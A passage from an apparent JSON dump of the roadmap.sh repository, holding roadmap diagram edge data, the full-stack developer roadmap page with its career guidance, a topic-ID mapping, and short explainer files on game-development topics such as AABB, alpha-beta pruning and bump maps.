     \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-8sPXL8iClpPqje03kssesy2-khoUtTUxdf8udAzN9_CAbz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CVCqdPkq_hGQfI8EEi5RC\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"khoUtTUxdf8udAzN9_CAb\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-2kKHuQZScu7hCDgQWxl5uy2-khoUtTUxdf8udAzN9_CAbz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"khoUtTUxdf8udAzN9_CAb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"QfW-odmDYknm_qXNcDu5o\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-khoUtTUxdf8udAzN9_CAby2-QfW-odmDYknm_qXNcDu5oy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"type\": \"smoothstep\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QfW-odmDYknm_qXNcDu5o\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_aA6Hp4KkgJeptqo8oKTg\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-QfW-odmDYknm_qXNcDu5oz2-2kKHuQZScu7hCDgQWxl5uy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HGhnbMg6jh6cAmUH4DtOx\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"vmHbWdmMHF53otXIrqzRV\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-2kKHuQZScu7hCDgQWxl5ux2-cUOfvOlQ_0Uu1VX3i67kJz1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vmHbWdmMHF53otXIrqzRV\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vHojhJYjiN0IwruEqi1Dv\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-vmHbWdmMHF53otXIrqzRVy2-cUOfvOlQ_0Uu1VX3i67kJz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vHojhJYjiN0IwruEqi1Dv\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Onfd7Sl8LG2sjh2aQY7gb\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-vHojhJYjiN0IwruEqi1Dvy2-cUOfvOlQ_0Uu1VX3i67kJz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Onfd7Sl8LG2sjh2aQY7gb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"SHTSvMDqI7X1_ZT7-m--n\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Onfd7Sl8LG2sjh2aQY7gby2-cUOfvOlQ_0Uu1VX3i67kJw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SHTSvMDqI7X1_ZT7-m--n\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"cUOfvOlQ_0Uu1VX3i67kJ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-SHTSvMDqI7X1_ZT7-m--nz2-cUOfvOlQ_0Uu1VX3i67kJy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cUOfvOlQ_0Uu1VX3i67kJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"y1SFX7uvWaCy4OYBnECLu\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-cUOfvOlQ_0Uu1VX3i67kJz2-2kKHuQZScu7hCDgQWxl5uw2\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_aA6Hp4KkgJeptqo8oKTg\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"HGhnbMg6jh6cAmUH4DtOx\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_aA6Hp4KkgJeptqo8oKTgz2-HGhnbMg6jh6cAmUH4DtOxw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"y1SFX7uvWaCy4OYBnECLu\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"863KMXcFJzInvTp_-Ldmz\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-y1SFX7uvWaCy4OYBnECLux2-2kKHuQZScu7hCDgQWxl5uz1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"863KMXcFJzInvTp_-Ldmz\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"rFXupYpUFfp7vZO8zh614\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-863KMXcFJzInvTp_-Ldmzy2-2kKHuQZScu7hCDgQWxl5uz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rFXupYpUFfp7vZO8zh614\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"2kKHuQZScu7hCDgQWxl5u\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-rFXupYpUFfp7vZO8zh614y2-2kKHuQZScu7hCDgQWxl5uw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2kKHuQZScu7hCDgQWxl5u\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-2kKHuQZScu7hCDgQWxl5ux2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/full-stack/full-stack.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/full-stack.json'\npdfUrl: '/pdfs/roadmaps/full-stack.pdf'\nrenderer: 'editor'\norder: 3\nbriefTitle: 'Full Stack'\nbriefDescription: 'Step by step guide to becoming a full stack developer in 2025'\ntitle: 'Full Stack Developer'\ndescription: 'Step by step guide to becoming a modern full stack developer in 2025'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2075\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\nquestion:\n  title: 'What is a Full Stack Developer?'\n  description: |\n    A Full Stack Developer is someone who can work on both the front-end and the back-end of an application. They write code and, most of the time, also take care of everything required to push the product into production.\n\n    Full stack developers (also known as full stack web developers) will usually have the required skills to tackle any part of the web development process. In the front end, they'll focus on building the user interface using technologies such as HTML, [JavaScript](https://roadmap.sh/javascript), and CSS (Cascading Style Sheets - usually mixed with some UI framework such as React or Vue). For the back-end side of these projects, they will code the business logic and any type of data access required involving either some [SQL](https://roadmap.sh/sql) database or, in some projects, noSQL options. As part of the back-end, there might also be some API design involved, as well as other performance and scalability optimizations that need to be performed.\n\n    As a summary, you could say that a full stack developer is a \"jack of all trades\" when it comes to web development. While they might not always be the absolute experts in any of those technologies, they're more than capable of filling any gaps in the team.\n\n    ## What languages are used in Full Stack Development?\n\n    In full stack development, the languages used can range from just 3 to a multitude of options.\n\n    For the front-end there aren't that many options; you can only use HTML, CSS, and JavaScript (with the freedom of picking the framework that best suits your preferences). However, on the back-end, the story is quite different. Of course, you can pick JavaScript, keeping the full tech stack homogenous, but you also have the option to add multiple programming languages if you're going with a microservices-based architecture, using the right language for each service. If that's your situation, some of the most popular languages include [Python](https://roadmap.sh/python), Ruby, [Java](https://roadmap.sh/java), [PHP](https://roadmap.sh/php), or [C#](https://roadmap.sh/aspnet-core).\n\n    And to top it all out, you'll often use something like SQL (Structured Query Language) for your database interactions (unless you're going with a NoSQL database).\n\n    ## What skills do I need to become a Full Stack Developer?\n\n    To become a full stack developer, the skills you'll need are very varied. You'll need to understand both front-end and back-end software development, including some of the most popular frameworks and libraries.\n\n    That means you'll have to know how to turn designs into good user interfaces following the latest UX trends. In the back-end, you'll need to grasp server-side programming, work with databases, manage APIs, and ensure that everything integrates as it should. And you'll do all of that as part of your regular development process.\n\n    On top of all of this, other key full stack developer skills that would enhance your profile are version control systems (such as Git which is the current industry standard) and understanding RESTful APIs.\n\n    Of course, strong problem-solving abilities, debugging skills, and a willingness to continuously learn new technologies are also crucial for this role, like they are for any software development job.\n\n    In the end, this particular blend of skills allows developers to build full-featured web applications from start to finish.\n\n    ## How do I become a Full Stack Developer?\n\n    To become a full stack developer, you need to start by learning the basics of HTML, CSS, and JavaScript, they will give you everything you need to master front-end development.\n\n    Once you're ready, you can then pick up a back-end language such as Python or Java (or even JavaScript again through Node.js). Try to start small and build a simple back-end for your website. A good idea here is to pick up a full stack framework, such as NextJS or Django; they will make it easy for you to integrate the back-end into your project. Slowly start introducing database management into the mix. This will open up the door to more complex applications. Just remember to start with small projects to practice your full stack developer skills and gradually work on more complex ones.\n\n    As a long-term learning plan, creating a portfolio to showcase your progress can be a great motivator. Consider following roadmaps like the [full stack roadmap](https://roadmap.sh/full-stack), and keep learning through online courses or bootcamps to boost your journey into full stack development.\nschema:\n  headline: 'Full Stack Developer Roadmap'\n  description: 'Learn how to become a Full Stack Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/full-stack.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Full Stack Developer Roadmap'\n  description: 'Learn to become a modern full stack developer using this roadmap. Community driven, articles, resources, guides, interview questions, quizzes for modern full stack development.'\n  keywords:\n    - 'javascript roadmap 2025'\n    - 'full stack roadmap 2025'\n    - 'full stack developer roadmap 2025'\n    - 'guide to becoming a mern developer'\n    - 'guide to becoming a full stack developer'\n    - 'full stack developer'\n    - 'full stack engineer'\n    - 'full stack skills'\n    - 'full stack development'\n    - 'full stack development skills'\n    - 'full stack development skills test'\n    - 'full stack roadmap'\n    - 'full stack engineer roadmap'\n    - 'full stack developer roadmap'\n    - 'become a full stack developer'\n    - 'full stack developer career path'\n    - 'javascript developer'\n    - 'modern javascript developer'\n    - 'node developer'\n    - 'skills for full stack development'\n    - 'learn full stack development'\n    - 'what is full stack development'\n    - 'full stack developer quiz'\n    - 'full stack developer interview questions'\nrelatedRoadmaps:\n  - 'frontend'\n  - 'backend'\n  - 'devops'\n  - 'react'\n  - 'nodejs'\n  - 'docker'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/full-stack/migration-mapping.json",
    "content": "{\n  \"html\": \"B0kARTODvCBi0iOF8iiqI\",\n  \"css\": \"dAJHWmGeiYdzZ1ZjrWz1S\",\n  \"checkpoint-static-websites\": \"WsdUAEaI7FX6DKKhPXUHp\",\n  \"javascript\": \"T9PB6WQf-Fa9NXKKvVOy_\",\n  \"checkpoint-interactivity\": \"2DFzoIUjKdAKGjfu_SCfa\",\n  \"npm\": \"mGgx_QTEPmVKf6AijX9fi\",\n  \"external-packages\": \"R4aeJNOrfWyVp3ea-qF4H\",\n  \"git\": \"We2APJpOPTr-VNfowG0kI\",\n  \"github\": \"8sPXL8iClpPqje03ksses\",\n  \"collaborative-work\": \"zFGWxgLPcZoW7KIzlnSV9\",\n  \"tailwind\": \"CVCqdPkq_hGQfI8EEi5RC\",\n  \"react\": \"khoUtTUxdf8udAzN9_CAb\",\n  \"frontend-apps\": \"7JU1cVggMDoZUV-adGsf-\",\n  \"nodejs\": \"_aA6Hp4KkgJeptqo8oKTg\",\n  \"cli-apps\": \"JGu0TKwAw-ieiG92BytYI\",\n  \"postgresql\": \"HGhnbMg6jh6cAmUH4DtOx\",\n  \"crud\": \"3EtGLO6cwkLc1-o9gwFNk\",\n  \"restful-apis\": \"vmHbWdmMHF53otXIrqzRV\",\n  \"jwt-auth\": \"vHojhJYjiN0IwruEqi1Dv\",\n  \"redis\": \"Onfd7Sl8LG2sjh2aQY7gb\",\n  \"complete-app\": \"v4NF25lJElAtkU0Rm6Fob\",\n  \"basic-aws-services:route53\": \"5zyYpu9cyuTFwQCjTbHpS\",\n  \"basic-aws-services:ses\": \"B-cphY7Imnv6JBMujVIF7\",\n  \"basic-aws-services:ec2\": \"6oBIxYj8WPcUHidQ99tus\",\n  \"basic-aws-services:vpc\": \"QtL-bLKtWIdH00K6k_PdC\",\n  \"basic-aws-services:s3\": \"n2Xp_ijJ2OS8xhE7xMWxk\",\n  \"basic-aws-services\": \"cUOfvOlQ_0Uu1VX3i67kJ\",\n  \"linux-basics\": \"SHTSvMDqI7X1_ZT7-m--n\",\n  \"deployment\": \"J2_IWAb1s9zZcxOY3NXm2\",\n  \"monit\": \"y1SFX7uvWaCy4OYBnECLu\",\n  \"monitoring\": \"NQmEl27eBPYhivcXdOEz3\",\n  \"github-actions\": \"863KMXcFJzInvTp_-Ldmz\",\n  \"ci-cd\": \"liaY1GnlOateB_ZKBjNpY\",\n  \"ansible\": \"rFXupYpUFfp7vZO8zh614\",\n  \"terraform\": \"2kKHuQZScu7hCDgQWxl5u\",\n  \"automation\": \"sO_9-l4FECbaqiaFnyeXO\",\n  \"infrastructure\": \"YVMyHFSCVF-GgXydq-SFJ\"\n}"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/2d@Wq8siopWTD7sylNi0575X.md",
    "content": "# 2D\n\n2D Game Development involves creating games in a two-dimensional plane, utilizing flat graphics and typically making use of x and y coordinates. From classic arcade games of the ’80s and ’90s to the rich array of indie games today, 2D game development is a vibrant and diverse sector of the gaming industry. Not only are 2D games visually appealing and nostalgic, but they’re also often more accessible for developers to create due to the simpler mechanics compared to 3D game development.\n\nVisit the following resources to learn more:\n\n- [@article@2D and 3D Game Development](https://hireindiandevelopers.medium.com/2d-and-3d-game-development-a-comprehensive-guide-7d22c4fdd706)\n- [@article@How to Make a 2D Game](https://gamemaker.io/en/blog/how-to-make-a-2d-game)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/aabb@aTeYGd4JlPr5txNPyBezn.md",
    "content": "# AABB\n\n`AABB`, short for Axis-Aligned Bounding Box, is a commonly used form of bounding volume in game development. It is a box that directly aligns with the axes of the coordinate system and encapsulates a game object. The sides of an AABB are aligned with the axes, which is helpful when carrying out certain calculations, as non-axis-aligned boxes would require more complex math. AABBs are primarily used for broad-phase collision detection, which means checking whether two objects might be in the process of colliding. Although AABBs are relatively conservative and can have more bounding volume than oriented bounding boxes (OBBs), they are simpler and faster to use in collision detection.\n\nVisit the following resources to learn more:\n\n- [@article@Axis-Aligned Bounding Box](https://gdbooks.gitbooks.io/3dcollisions/content/Chapter1/aabb.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/ab-pruning@KYCi4d475zZfNwlj6HZVD.md",
    "content": "# AB Pruning\n\n`Alpha-Beta pruning` is an optimization technique for the minimax algorithm used in artificial intelligence (AI) programming, such as game development. It cuts off branches in the game tree that don't need to be searched because there's already a better move available. It uses two parameters, alpha and beta, which represent the minimum score that the maximizing player is assured of and the maximum score that the minimizing player is assured of, respectively. During the traversal of the game tree, branches of the tree that cannot possibly influence the final decision are not explored. This process 'prunes' the minimax tree, saving computational time and resources.\n\nVisit the following resources to learn more:\n\n- [@article@AB Pruning](https://en.wikipedia.org/wiki/Alpha-beta_pruning)\n- [@article@Alpha-Beta Pruning: A Deep Dive into its History](https://dev.to/vedantasati03/alpha-beta-pruning-a-deep-dive-into-its-history-implementation-and-functionality-4ojf)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/acceleration@ejZMnxZ0QrN-jBqo9Vrj8.md",
    "content": "# Acceleration\n\n**Acceleration** refers to the rate of change in velocity per unit time. This physical concept is translated into game dynamics where it impacts the movement and speed of game characters or objects. For example, when a character starts moving, there is usually a slight delay before they reach their top speed, which then continues as long as the move button is held down. This is caused by acceleration. Conversely, when the button is released, the character doesn't stop instantly but slows down gradually - this is due to deceleration, which is negative acceleration. By mastering acceleration and deceleration, game developers can create more realistic and interesting movements for their characters.\n\nVisit the following resources to learn more:\n\n- [@article@Simple Acceleration in Games](http://earok.net/sections/articles/game-dev/theory/simplified-acceleration-games)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/advanced-rendering@CDYszS1U4v95GozB_drbt.md",
    "content": "# Advanced Rendering\n\n**Advanced rendering** is a sophisticated technique used in game development that involves translating a 3D model or scene into a 2D image or animation. Advanced rendering techniques can involve various complex methods such as physically-based rendering, ray tracing, global illumination, subsurface scattering, caustics, and volumetric rendering. The use of advanced rendering can result in highly realistic graphics, as it uses complex calculations to depict how light behaves in the real world. Advanced rendering often requires powerful hardware resources and specialized software tools in order to achieve the desired images and animations.\n\nVisit the following resources to learn more:\n\n- [@article@Advanced Rendering](https://www.advances.realtimerendering.com/)\n- [@article@Advances in Real Time Rendering](https://www.advances.realtimerendering.com/s2024/index.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/affine-space@r5TcXQsU9s4NlAQIPvZ3U.md",
    "content": "# Affine Space\n\nIn the context of game mathematics, an **Affine Space** is a fundamental concept you should understand. It is a geometric structure with properties related to both geometry and algebra. The significant aspect of an affine space is that it allows you to work more comfortably with points and vectors. While a vector space on its own focuses on vectors which have both magnitude and direction, it does not involve points. An affine space makes it easy to add vectors to points or subtract points from each other to get vectors. This concept proves extremely useful in the field of game development, particularly when dealing with graphical models, animations, and motion control.\n\nVisit the following resources to learn more:\n\n- [@article@Affine Space](https://en.wikipedia.org/wiki/Affine_space)\n- [@article@Understanding Affine Space](https://brilliant.org/wiki/affine-spaces/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/affine-transformation@SkCreb6g4i-OFtJWhRYqO.md",
    "content": "# Affine Transformation\n\nAn **affine transformation**, in the context of game mathematics, is a function between affine spaces which preserves points, straight lines and planes. Also, sets of parallel lines remain parallel after an affine transformation. In video games, it's typically used for manipulating an object's position in 3D space. This operation allows game developers to perform multiple transformations such as translation (moving an object from one place to another), scaling (changing the size of an object), and rotation (spinning the object around a point). An important feature of affine transformation is that it preserves points uniqueness; if two points are distinct to start with, they remain distinct after transformation. It's important to note that these transformations are applied relative to an object's own coordinate system, not the world coordinate system.\n\nVisit the following resources to learn more:\n\n- [@article@Affine Transformation](https://www.gamedevs.org/uploads/affine-transformations.pdf)\n- [@article@Understanding Affine Transformations](https://code.tutsplus.com/understanding-affine-transformations-with-matrix-mathematics--active-10884t)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/angular-velocity@Y7HYY5eq7OG42V9yQz0Q1.md",
    "content": "# Angular Velocity\n\nAngular velocity, denoted by the symbol 'ω', is a measure of the rate of change of an angle per unit of time. In simpler terms, it corresponds to how quickly an object moves around a circle or rotates around a central point. Angular velocity is typically measured in radians per second (rad/s). If you think of an object moving in a circular path, the angular velocity would be the speed at which the angle changes as the object travels along the circumference of the object. Angular velocity is a vector quantity, implying it has both magnitude and direction. The direction of the angular velocity vector is perpendicular to the plane of rotation, following the right-hand rule. It plays a crucial role in game development, especially in physics simulation and character control.\n\nVisit the following resources to learn more:\n\n- [@article@Angular Velocity](https://allenchou.net/2013/12/game-physics-motion-dynamics-fundamentals/)\n- [@article@Understanding Angular Velocity](https://math.libretexts.org/Bookshelves/Precalculus/Book%3A_Trigonometry_(Sundstrom_and_Schlicker)/01%3A_The_Trigonometric_Functions/1.04%3A_Velocity_and_Angular_Velocity)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/artificial-neural-network@AoH2r4EOHyZd8YaV24rBk.md",
    "content": "# Artificial Neutral Network\n\nArtificial Neural Networks (ANN) are a branch of machine learning that draw inspiration from biological neural networks. ANNs are capable of 'learning' from observational data, thereby enhancing game development in numerous ways. They consist of interconnected layers of nodes, or artificial neurons, that process information through their interconnected network. Each node's connection has numerical weight that gets adjusted during learning, which helps in optimizing problem solving. ANNs are utilized in various aspects of game development, such as improving AI behavior, procedural content generation, and game testing. They can also be used for image recognition tasks, such as identifying objects or actions in a game environment.\n\nVisit the following resources to learn more:\n\n- [@article@What is ANN?](https://www.coursera.org/articles/artificial-neural-network)\n- [@article@What is Neural Network?](https://www.ibm.com/topics/neural-networks)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/behavior-tree@ztoW8fBY73Es624A_tjd7.md",
    "content": "# Behavior Tree\n\nThe **Behavior Tree** is a decision-making system used in game development, primarily for AI character behavior. These trees help define the actions an AI character will take, based on predefined tasks and conditions. The tree structure starts from a single root, branching out to nodes that represent these decisions or tasks. The tasks can be simple, such as moving from one point to another, or can be complex decisions like whether to attack or retreat. This kind of structure is advantageous because it is easy to add, remove, or modify tasks without breaking the tree or affecting other tasks. This makes it highly flexible and easy to manage, irrespective of the complexity of the tasks.\n\nVisit the following resources to learn more:\n\n- [@video@Unreal Engine 5 Tutorial - AI Part 2: Behavior Tree](https://www.youtube.com/watch?v=hbHqv9ov8IM&list=PL4G2bSPE_8uklDwraUCMKHRk2ZiW29R6e&index=3&t=16s)\n- [@article@Open Behavior Tree](https://sterberino.github.io/open-behavior-trees-documentation/index.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/bezier@DUEEm9sAaZqSI-W-PFZ8f.md",
    "content": "# Bezier\n\n`Bezier curves` are named after Pierre Bezier, a French engineer working at Renault, who used them in the 1960s for designing car bodies. A Bezier curve is defined by a set of control points with a minimum of two but no upper limit. The curve is calculated between the first and the last control point and does not pass through the controlling points, which only influence the direction of the curve. There are linear, quadratic, and cubic Bezier curves, but curves with more control points are also possible. They are widely used in computer graphics, animations, and are extensively used in vector images and tools to create shapes, texts, and objects.\n\nLearn more from the following resources:\n\n- [@article@Bezier Curves for Your Games](http://devmag.org.za/2011/04/05/bzier-curves-a-tutorial/)\n- [@video@Bezier Curves Explained](https://www.youtube.com/watch?v=pnYccz1Ha34)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/board-game@eoK70YRCz73GmzbNhh5kg.md",
    "content": "# Board Game\n\n**Board Games** represent a type of tabletop game that involves counters or pieces moved or placed on a pre-marked surface or \"board\", according to a set of rules. Some games are based on pure strategy, but many contain an element of chance, and others are purely chance, with no element of skill. Games usually have a goal that a player aims to achieve. Early board games represented a battle between two armies, and most modern board games are still based on defeating opponents in terms of counters, winning position, or accruement of points. With the digitalization of board games, developers use various **Game APIs** to create engaging and interactive board game experiences. An API defines a set of rules and protocols for building and interacting with different software applications. Game APIs allow developers to integrate with game-specific features like game mechanics, player statistics, achievements, and more.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Board Game?](https://code.tutsplus.com/how-to-learn-board-game-design-and-development--gamedev-11607a)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/bounding-volume@PLR_4yoRifoTzkOR4c7ym.md",
    "content": "# Bounding Volume\n\n`Bounding Volume` is a simple shape that fully encompasses a more complex game model. It is less expensive to check for the intersection of bounding volumes when compared to checking for intersection of the actual models. Some commonly used types of bounding volume in game development include Axis-Aligned Bounding Boxes (AABBs), Bounding Spheres, and Oriented Bounding Boxes (OBBs). AABBs and Bounding Spheres are simple to implement and work well with static objects, while OBBs are slightly more complex and are often used with dynamic objects that need to rotate.\n\nVisit the following resources to learn more:\n\n- [@article@Collision Detection in 3D Games](https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_collision_detection)\n- [@article@Visualizing Bounding Volume](https://www.haroldserrano.com/blog/visualizing-the-boundary-volume-hierarchy-collision-algorithm)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/broad-phase@AKd2UpITqBZV7cZszSRps.md",
    "content": "# Broad Phase\n\n**Broad Phase Collision Detection** is the first step in the collision detection process. Its primary function is to identify which pairs of objects might potentially collide. Rather than examining the entire body of every object for possible collision, it wraps up each one in a simpler shape like a bounding box or sphere, aiming to reduce the number of calculations. The output of this phase is a list of 'candidate pairs' which are passed onto the next phase, often referred to as the narrow phase, for in-depth overlap checks.\n\nVisit the following resources to learn more:\n\n- [@article@Broad Phase Collision Detection](http://buildnewgames.com/broad-phase-collision-detection/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/bump@r4UkMd5QURbvJ3Jlr_H9H.md",
    "content": "# Bump\r\n\r\n`Bump` is very similar to texture. It is, as a matter of fact, a type of texture itself. If you take the texture of a bricked wall, it will becoming increasingly obvious that the amount of detail present inside the wall, if geometrically processed would be incredibly demanding and wasteful. In order to combat this ineffeciency, the `bump` maps were created. Traditionally, a flat texture would just be an image of something called a `color map`, that is to say, where does each individual color of the pixel should be to represent a texture. When you take the picture of your floor, wall, or any object, that image in essence is the color map. The bump map is different as it informs the texture about it's `normal` values. So, if you take a flat 2D mesh and apply a bump map on it, it will render the same 2D mesh with all the normal values baked into the flat 2D mesh, creating a graphically effect mimicking 3-dimensionality.\r\n\r\nLearn more from the following resources:\r\n\r\n- [@article@Bump Maps](https://developer.valvesoftware.com/wiki/Bump_map)\r\n- [@video@Normals, Normal maps and Bump maps](https://www.youtube.com/watch?v=l5PYyzsZED8)\r\n- [@video@Bump, normal and displacement](https://www.youtube.com/watch?v=43Ilra6fNGc)\r\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/buoyancy@WzcmdW_fKHv3gwdBnvI0_.md",
